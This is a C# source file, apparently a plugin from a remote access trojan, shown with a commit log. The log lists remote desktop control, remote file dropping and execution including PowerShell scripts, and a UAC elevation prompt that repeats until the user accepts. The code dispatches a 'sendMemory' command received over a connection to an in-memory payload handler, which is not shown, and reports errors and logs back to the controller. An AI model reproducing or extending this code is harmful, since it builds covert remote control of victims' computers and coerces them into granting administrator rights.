NYAN CAT 10c995be22 update
added - remote dekstop move movements
added - remote desktop showing cursor movements
added - showing active window when client connected immediately
updated - send file to disk will show if the file ran successfully or not
fixed - send file to disk fixed when executing .ps1 file
updated - UAC popup now will run until the user press accept
2020-05-10 08:14:33 +03:00

47 lines
1.3 KiB
C#

using Plugin.Handler;
using MessagePackLib.MessagePack;
using System;
namespace Plugin
{
public static class Packet
{
public static void Read(object data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "sendMemory":
{
new HandleSendTo().ToMemory(unpack_msgpack);
break;
}
}
}
catch (Exception ex)
{
Error(ex.Message);
}
}
public static void Error(string ex)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Error";
msgpack.ForcePathObject("Error").AsString = ex;
Connection.Send(msgpack.Encode2Bytes());
}
public static void Log(string message)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Logs";
msgpack.ForcePathObject("Message").AsString = message;
Connection.Send(msgpack.Encode2Bytes());
}
}
}